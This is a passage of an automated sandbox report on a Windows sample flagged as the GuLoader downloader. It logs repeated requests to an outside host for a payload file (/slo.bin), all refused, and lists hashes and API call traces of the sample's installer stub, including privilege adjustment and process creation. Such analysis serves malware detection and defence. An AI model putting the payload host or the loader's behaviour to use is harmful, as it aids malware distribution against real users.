2024-09-27 17:04:30 UTC	163	IN	HTTP/1.1 403 Forbidden Date: Fri, 27 Sep 2024 17:04:30 GMT Server: Apache Content-Length: 83 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-09-27 17:04:30 UTC	83	IN	Data Raw: 3c 63 65 6e 74 65 72 3e 3c 62 72 20 2f 3e 3c 62 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 62 3e 3c 62 72 20 2f 3e 57 57 57 20 41 63 63 65 73 73 20 62 6c 6f 63 6b 65 64 20 2d 20 62 61 64 20 71 75 65 72 79 2f 75 72 6c 3c 2f 63 65 6e 74 65 72 3e Data Ascii: <center><br /><b>403 Forbidden</b><br />WWW Access blocked - bad query/url</center>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.11.20	49823	185.86.211.137	443	6976	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 17:04:41 UTC	187	OUT	GET /slo.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: bestpack.ee Connection: Keep-Alive
2024-09-27 17:04:41 UTC	163	IN	HTTP/1.1 403 Forbidden Date: Fri, 27 Sep 2024 17:04:41 GMT Server: Apache Content-Length: 83 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-09-27 17:04:41 UTC	83	IN	Data Raw: 3c 63 65 6e 74 65 72 3e 3c 62 72 20 2f 3e 3c 62 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 62 3e 3c 62 72 20 2f 3e 57 57 57 20 41 63 63 65 73 73 20 62 6c 6f 63 6b 65 64 20 2d 20 62 61 64 20 71 75 65 72 79 2f 75 72 6c 3c 2f 63 65 6e 74 65 72 3e Data Ascii: <center><br /><b>403 Forbidden</b><br />WWW Access blocked - bad query/url</center>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.11.20	49825	185.86.211.137	443	6976	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 17:04:52 UTC	187	OUT	GET /slo.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: bestpack.ee Connection: Keep-Alive
2024-09-27 17:04:52 UTC	163	IN	HTTP/1.1 403 Forbidden Date: Fri, 27 Sep 2024 17:04:52 GMT Server: Apache Content-Length: 83 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-09-27 17:04:52 UTC	83	IN	Data Raw: 3c 63 65 6e 74 65 72 3e 3c 62 72 20 2f 3e 3c 62 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 62 3e 3c 62 72 20 2f 3e 57 57 57 20 41 63 63 65 73 73 20 62 6c 6f 63 6b 65 64 20 2d 20 62 61 64 20 71 75 65 72 79 2f 75 72 6c 3c 2f 63 65 6e 74 65 72 3e Data Ascii: <center><br /><b>403 Forbidden</b><br />WWW Access blocked - bad query/url</center>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.11.20	49827	185.86.211.137	443	6976	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 17:05:03 UTC	187	OUT	GET /slo.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: bestpack.ee Connection: Keep-Alive
2024-09-27 17:05:04 UTC	163	IN	HTTP/1.1 403 Forbidden Date: Fri, 27 Sep 2024 17:05:04 GMT Server: Apache Content-Length: 83 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-09-27 17:05:04 UTC	83	IN	Data Raw: 3c 63 65 6e 74 65 72 3e 3c 62 72 20 2f 3e 3c 62 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 62 3e 3c 62 72 20 2f 3e 57 57 57 20 41 63 63 65 73 73 20 62 6c 6f 63 6b 65 64 20 2d 20 62 61 64 20 71 75 65 72 79 2f 75 72 6c 3c 2f 63 65 6e 74 65 72 3e Data Ascii: <center><br /><b>403 Forbidden</b><br />WWW Access blocked - bad query/url</center>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.11.20	49829	185.86.211.137	443	6976	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 17:05:15 UTC	187	OUT	GET /slo.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: bestpack.ee Connection: Keep-Alive
2024-09-27 17:05:15 UTC	163	IN	HTTP/1.1 403 Forbidden Date: Fri, 27 Sep 2024 17:05:15 GMT Server: Apache Content-Length: 83 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-09-27 17:05:15 UTC	83	IN	Data Raw: 3c 63 65 6e 74 65 72 3e 3c 62 72 20 2f 3e 3c 62 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 62 3e 3c 62 72 20 2f 3e 57 57 57 20 41 63 63 65 73 73 20 62 6c 6f 63 6b 65 64 20 2d 20 62 61 64 20 71 75 65 72 79 2f 75 72 6c 3c 2f 63 65 6e 74 65 72 3e Data Ascii: <center><br /><b>403 Forbidden</b><br />WWW Access blocked - bad query/url</center>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.11.20	49831	185.86.211.137	443	6976	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 17:05:26 UTC	187	OUT	GET /slo.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: bestpack.ee Connection: Keep-Alive
2024-09-27 17:05:26 UTC	163	IN	HTTP/1.1 403 Forbidden Date: Fri, 27 Sep 2024 17:05:26 GMT Server: Apache Content-Length: 83 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-09-27 17:05:26 UTC	83	IN	Data Raw: 3c 63 65 6e 74 65 72 3e 3c 62 72 20 2f 3e 3c 62 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 62 3e 3c 62 72 20 2f 3e 57 57 57 20 41 63 63 65 73 73 20 62 6c 6f 63 6b 65 64 20 2d 20 62 61 64 20 71 75 65 72 79 2f 75 72 6c 3c 2f 63 65 6e 74 65 72 3e Data Ascii: <center><br /><b>403 Forbidden</b><br />WWW Access blocked - bad query/url</center>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.11.20	49833	185.86.211.137	443	6976	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 17:05:37 UTC	187	OUT	GET /slo.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: bestpack.ee Connection: Keep-Alive
2024-09-27 17:05:38 UTC	163	IN	HTTP/1.1 403 Forbidden Date: Fri, 27 Sep 2024 17:05:38 GMT Server: Apache Content-Length: 83 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-09-27 17:05:38 UTC	83	IN	Data Raw: 3c 63 65 6e 74 65 72 3e 3c 62 72 20 2f 3e 3c 62 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 62 3e 3c 62 72 20 2f 3e 57 57 57 20 41 63 63 65 73 73 20 62 6c 6f 63 6b 65 64 20 2d 20 62 61 64 20 71 75 65 72 79 2f 75 72 6c 3c 2f 63 65 6e 74 65 72 3e Data Ascii: <center><br /><b>403 Forbidden</b><br />WWW Access blocked - bad query/url</center>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.11.20	49835	185.86.211.137	443	6976	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 17:05:49 UTC	187	OUT	GET /slo.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: bestpack.ee Connection: Keep-Alive
2024-09-27 17:05:49 UTC	163	IN	HTTP/1.1 403 Forbidden Date: Fri, 27 Sep 2024 17:05:49 GMT Server: Apache Content-Length: 83 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-09-27 17:05:49 UTC	83	IN	Data Raw: 3c 63 65 6e 74 65 72 3e 3c 62 72 20 2f 3e 3c 62 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 62 3e 3c 62 72 20 2f 3e 57 57 57 20 41 63 63 65 73 73 20 62 6c 6f 63 6b 65 64 20 2d 20 62 61 64 20 71 75 65 72 79 2f 75 72 6c 3c 2f 63 65 6e 74 65 72 3e Data Ascii: <center><br /><b>403 Forbidden</b><br />WWW Access blocked - bad query/url</center>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.11.20	49837	185.86.211.137	443	6976	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 17:06:00 UTC	187	OUT	GET /slo.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: bestpack.ee Connection: Keep-Alive
2024-09-27 17:06:00 UTC	163	IN	HTTP/1.1 403 Forbidden Date: Fri, 27 Sep 2024 17:06:00 GMT Server: Apache Content-Length: 83 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-09-27 17:06:00 UTC	83	IN	Data Raw: 3c 63 65 6e 74 65 72 3e 3c 62 72 20 2f 3e 3c 62 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 62 3e 3c 62 72 20 2f 3e 57 57 57 20 41 63 63 65 73 73 20 62 6c 6f 63 6b 65 64 20 2d 20 62 61 64 20 71 75 65 72 79 2f 75 72 6c 3c 2f 63 65 6e 74 65 72 3e Data Ascii: <center><br /><b>403 Forbidden</b><br />WWW Access blocked - bad query/url</center>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.11.20	49839	185.86.211.137	443	6976	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 17:06:11 UTC	187	OUT	GET /slo.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: bestpack.ee Connection: Keep-Alive
2024-09-27 17:06:12 UTC	163	IN	HTTP/1.1 403 Forbidden Date: Fri, 27 Sep 2024 17:06:12 GMT Server: Apache Content-Length: 83 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-09-27 17:06:12 UTC	83	IN	Data Raw: 3c 63 65 6e 74 65 72 3e 3c 62 72 20 2f 3e 3c 62 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 62 3e 3c 62 72 20 2f 3e 57 57 57 20 41 63 63 65 73 73 20 62 6c 6f 63 6b 65 64 20 2d 20 62 61 64 20 71 75 65 72 79 2f 75 72 6c 3c 2f 63 65 6e 74 65 72 3e Data Ascii: <center><br /><b>403 Forbidden</b><br />WWW Access blocked - bad query/url</center>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.11.20	49841	185.86.211.137	443	6976	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 17:06:23 UTC	187	OUT	GET /slo.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: bestpack.ee Connection: Keep-Alive
2024-09-27 17:06:23 UTC	163	IN	HTTP/1.1 403 Forbidden Date: Fri, 27 Sep 2024 17:06:23 GMT Server: Apache Content-Length: 83 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-09-27 17:06:23 UTC	83	IN	Data Raw: 3c 63 65 6e 74 65 72 3e 3c 62 72 20 2f 3e 3c 62 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 62 3e 3c 62 72 20 2f 3e 57 57 57 20 41 63 63 65 73 73 20 62 6c 6f 63 6b 65 64 20 2d 20 62 61 64 20 71 75 65 72 79 2f 75 72 6c 3c 2f 63 65 6e 74 65 72 3e Data Ascii: <center><br /><b>403 Forbidden</b><br />WWW Access blocked - bad query/url</center>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.11.20	49843	185.86.211.137	443	6976	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 17:06:34 UTC	187	OUT	GET /slo.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: bestpack.ee Connection: Keep-Alive
2024-09-27 17:06:34 UTC	163	IN	HTTP/1.1 403 Forbidden Date: Fri, 27 Sep 2024 17:06:34 GMT Server: Apache Content-Length: 83 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-09-27 17:06:34 UTC	83	IN	Data Raw: 3c 63 65 6e 74 65 72 3e 3c 62 72 20 2f 3e 3c 62 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 62 3e 3c 62 72 20 2f 3e 57 57 57 20 41 63 63 65 73 73 20 62 6c 6f 63 6b 65 64 20 2d 20 62 61 64 20 71 75 65 72 79 2f 75 72 6c 3c 2f 63 65 6e 74 65 72 3e Data Ascii: <center><br /><b>403 Forbidden</b><br />WWW Access blocked - bad query/url</center>

Target ID:	0
Start time:	12:58:09
Start date:	27/09/2024
Path:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe"
Imagebase:	0x400000
File size:	559'533 bytes
MD5 hash:	09646B466D4203F0A605120C10248654
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000000.00000002.72566552229.0000000006D62000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	12:58:37
Start date:	27/09/2024
Path:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe"
Imagebase:	0x400000
File size:	559'533 bytes
MD5 hash:	09646B466D4203F0A605120C10248654
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000002.00000002.76719471404.0000000003592000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	19.1%
Dynamic/Decrypted Code Coverage:	13.5%
Signature Coverage:	18.5%
Total number of Nodes:	1603
Total number of Limit Nodes:	40

Executed Functions

Function 004034FC Relevance: 86.2, APIs: 32, Strings: 17, Instructions: 464
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE ref: 0040351F
GetVersionExW.KERNEL32(?,?,?,?,?,?,?,?), ref: 0040354A
GetVersionExW.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 0040355D
lstrlenA.KERNEL32(UXTHEME,UXTHEME,?,?,?,?,?,?,?,?), ref: 004035F6
#17.COMCTL32(?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403633
OleInitialize.OLE32(00000000), ref: 0040363A
SHGetFileInfoW.SHELL32(00420EC8,00000000,?,000002B4,00000000), ref: 00403659
GetCommandLineW.KERNEL32(00428A20,NSIS Error,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 0040366E
CharNextW.USER32(00000000,"C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe",00000020,"C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe",00000000,?,00000008,0000000A,0000000C), ref: 004036A7
GetTempPathW.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\,00000000,00008001,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 004037DF
GetWindowsDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 004037F0
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 004037FC
GetTempPathW.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403810
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403818
SetEnvironmentVariableW.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403829
SetEnvironmentVariableW.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403831
DeleteFileW.KERNELBASE(1033,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403845
lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe",00000000,?,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 0040391E

Part of subcall function 00406521: lstrcpynW.KERNEL32(?,?,00000400,0040366E,00428A20,NSIS Error,?,00000008,0000000A,0000000C), ref: 0040652E

wsprintfW.USER32 ref: 0040397B
GetFileAttributesW.KERNEL32(916,C:\Users\user\AppData\Local\Temp\), ref: 004039AE
DeleteFileW.KERNEL32(916), ref: 004039BA
SetCurrentDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\), ref: 004039E8

Part of subcall function 004062E1: MoveFileExW.KERNEL32(?,?,00000005,00405DDF,?,00000000,000000F1,?,?,?,?,?), ref: 004062EB

CopyFileW.KERNEL32(C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe,916,?,C:\Users\user\AppData\Local\Temp\,00000000), ref: 004039FE

Part of subcall function 00405B04: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00425F10,?,?,?,916,?), ref: 00405B2D
Part of subcall function 00405B04: CloseHandle.KERNEL32(?,?,?,916,?), ref: 00405B3A

Part of subcall function 0040687E: FindFirstFileW.KERNELBASE(?,00425F58,C:\Users\user\AppData\Local\Temp\nst8185.tmp,00405F41,C:\Users\user\AppData\Local\Temp\nst8185.tmp,C:\Users\user\AppData\Local\Temp\nst8185.tmp,00000000,C:\Users\user\AppData\Local\Temp\nst8185.tmp,C:\Users\user\AppData\Local\Temp\nst8185.tmp, 44v,?,C:\Users\user\AppData\Local\Temp\,00405C4D,?,76343420,C:\Users\user\AppData\Local\Temp\), ref: 00406889
Part of subcall function 0040687E: FindClose.KERNEL32(00000000), ref: 00406895

OleUninitialize.OLE32(?,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403A4C
ExitProcess.KERNEL32 ref: 00403A69
CloseHandle.KERNEL32(00000000,0042D000,0042D000,?,916,00000000), ref: 00403A70
GetCurrentProcess.KERNEL32(00000028,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403A8C
OpenProcessToken.ADVAPI32(00000000,?,?,?,?,?,?,?,?), ref: 00403A93
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403AA8
AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,?,?,?,?,?,?,?), ref: 00403ACB
ExitWindowsEx.USER32(00000002,80040002), ref: 00403AF0
ExitProcess.KERNEL32 ref: 00403B13

Part of subcall function 00405ACF: CreateDirectoryW.KERNELBASE(?,00000000,004034EF,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004037E6,?,00000008,0000000A,0000000C), ref: 00405AD5

Strings

Error launching installer, xrefs: 004038C7
C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, xrefs: 004039F9
TMP, xrefs: 0040382C
\Temp, xrefs: 004037F6
C:\Users\user\polaritets, xrefs: 004037C4, 004038E6, 00403933, 00403941
"C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe", xrefs: 00403674, 0040367A, 0040368F, 0040386D
916, xrefs: 0040395E, 0040398F, 004039AD, 004039B9, 004039F8, 00403A0A, 00403A37
C:\Users\user\AppData\Local\Temp\, xrefs: 004037D4, 004037D9, 004037EF, 004037FB, 0040380A, 00403817, 00403823, 0040382B, 00403919, 0040399A, 004039C6, 004039E7, 004039F0
TEMP, xrefs: 00403824
Low, xrefs: 00403812
SeShutdownPrivilege, xrefs: 00403AA2
UXTHEME, xrefs: 004035EA, 004035EF, 004035F5
C:\Users\user\polaritets, xrefs: 004038F1
NSIS Error, xrefs: 0040365F
1033, xrefs: 00403840
C:\Users\user\Desktop, xrefs: 0040393C
~nsu%X.tmp, xrefs: 00403972

Memory Dump Source

Source File: 00000000.00000002.72564829892.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.72564732244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564935969.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72565234736.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: File$Process$CloseDirectoryExit$CreateCurrentDeleteEnvironmentFindHandlePathTempTokenVariableVersionWindowslstrcatlstrlen$AdjustAttributesCharCommandCopyErrorFirstInfoInitializeLineLookupModeMoveNextOpenPrivilegePrivilegesUninitializeValuelstrcpynwsprintf
String ID: "C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe"$1033$916$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe$C:\Users\user\polaritets$C:\Users\user\polaritets$Error launching installer$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu%X.tmp
API String ID: 1813718867-3441369084
Opcode ID: 861c3a791dac713e5dc6c418a8dec487fa289242a5d5f99aa186722fda572ff2
Instruction ID: bee44f309595f2ff458e9cecae568de25c9667724a66d0f49069eb89ae1a0629
Opcode Fuzzy Hash: 861c3a791dac713e5dc6c418a8dec487fa289242a5d5f99aa186722fda572ff2
Instruction Fuzzy Hash: FDF10170204301ABD720AF659D05B2B3EE8EB8570AF11483EF581B62D1DB7DCA45CB6E

Function 004056E5 Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 284
windowclipboardmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,00000403), ref: 00405743
GetDlgItem.USER32(?,000003EE), ref: 00405752
GetClientRect.USER32(?,?), ref: 0040578F
GetSystemMetrics.USER32(00000002), ref: 00405796
SendMessageW.USER32(?,00001061,00000000,?), ref: 004057B7
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004057C8
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 004057DB
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 004057E9
SendMessageW.USER32(?,00001024,00000000,?), ref: 004057FC
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 0040581E
ShowWindow.USER32(?,00000008), ref: 00405832
GetDlgItem.USER32(?,000003EC), ref: 00405853
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 00405863
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 0040587C
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 00405888
GetDlgItem.USER32(?,000003F8), ref: 00405761

Part of subcall function 004044D5: SendMessageW.USER32(00000028,?,?,00404300), ref: 004044E3

GetDlgItem.USER32(?,000003EC), ref: 004058A5
CreateThread.KERNEL32(00000000,00000000,Function_00005679,00000000), ref: 004058B3
CloseHandle.KERNELBASE(00000000), ref: 004058BA
ShowWindow.USER32(00000000), ref: 004058DE
ShowWindow.USER32(?,00000008), ref: 004058E3
ShowWindow.USER32(00000008), ref: 0040592D
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405961
CreatePopupMenu.USER32 ref: 00405972
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 00405986
GetWindowRect.USER32(?,?), ref: 004059A6
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004059BF
SendMessageW.USER32(?,00001073,00000000,?), ref: 004059F7
OpenClipboard.USER32(00000000), ref: 00405A07
EmptyClipboard.USER32 ref: 00405A0D
GlobalAlloc.KERNEL32(00000042,00000000), ref: 00405A19
GlobalLock.KERNEL32(00000000), ref: 00405A23
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405A37
GlobalUnlock.KERNEL32(00000000), ref: 00405A57
SetClipboardData.USER32(0000000D,00000000), ref: 00405A62
CloseClipboard.USER32 ref: 00405A68

Strings

{, xrefs: 0040594B

Memory Dump Source

Source File: 00000000.00000002.72564829892.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.72564732244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564935969.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72565234736.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: {
API String ID: 590372296-366298937
Opcode ID: bcd6524ca319c6da9779c5e50c73cceb5f6d9afdf0ecbcca2ead9855fe138ddf
Instruction ID: bfdbfabbc3eccdd340dcac883e36f8678c6b127a6a9b52dc92d7db9eae4071ee
Opcode Fuzzy Hash: bcd6524ca319c6da9779c5e50c73cceb5f6d9afdf0ecbcca2ead9855fe138ddf
Instruction Fuzzy Hash: FBB127B1900618FFDB11AF60DD89AAE7B79FB44354F00813AFA41B61A0CB754A92DF58

Function 00405C2D Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 148
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE(?,?,76343420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe"), ref: 00405C56
lstrcatW.KERNEL32(00424F10,\*.*,00424F10,?,?,76343420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe"), ref: 00405C9E
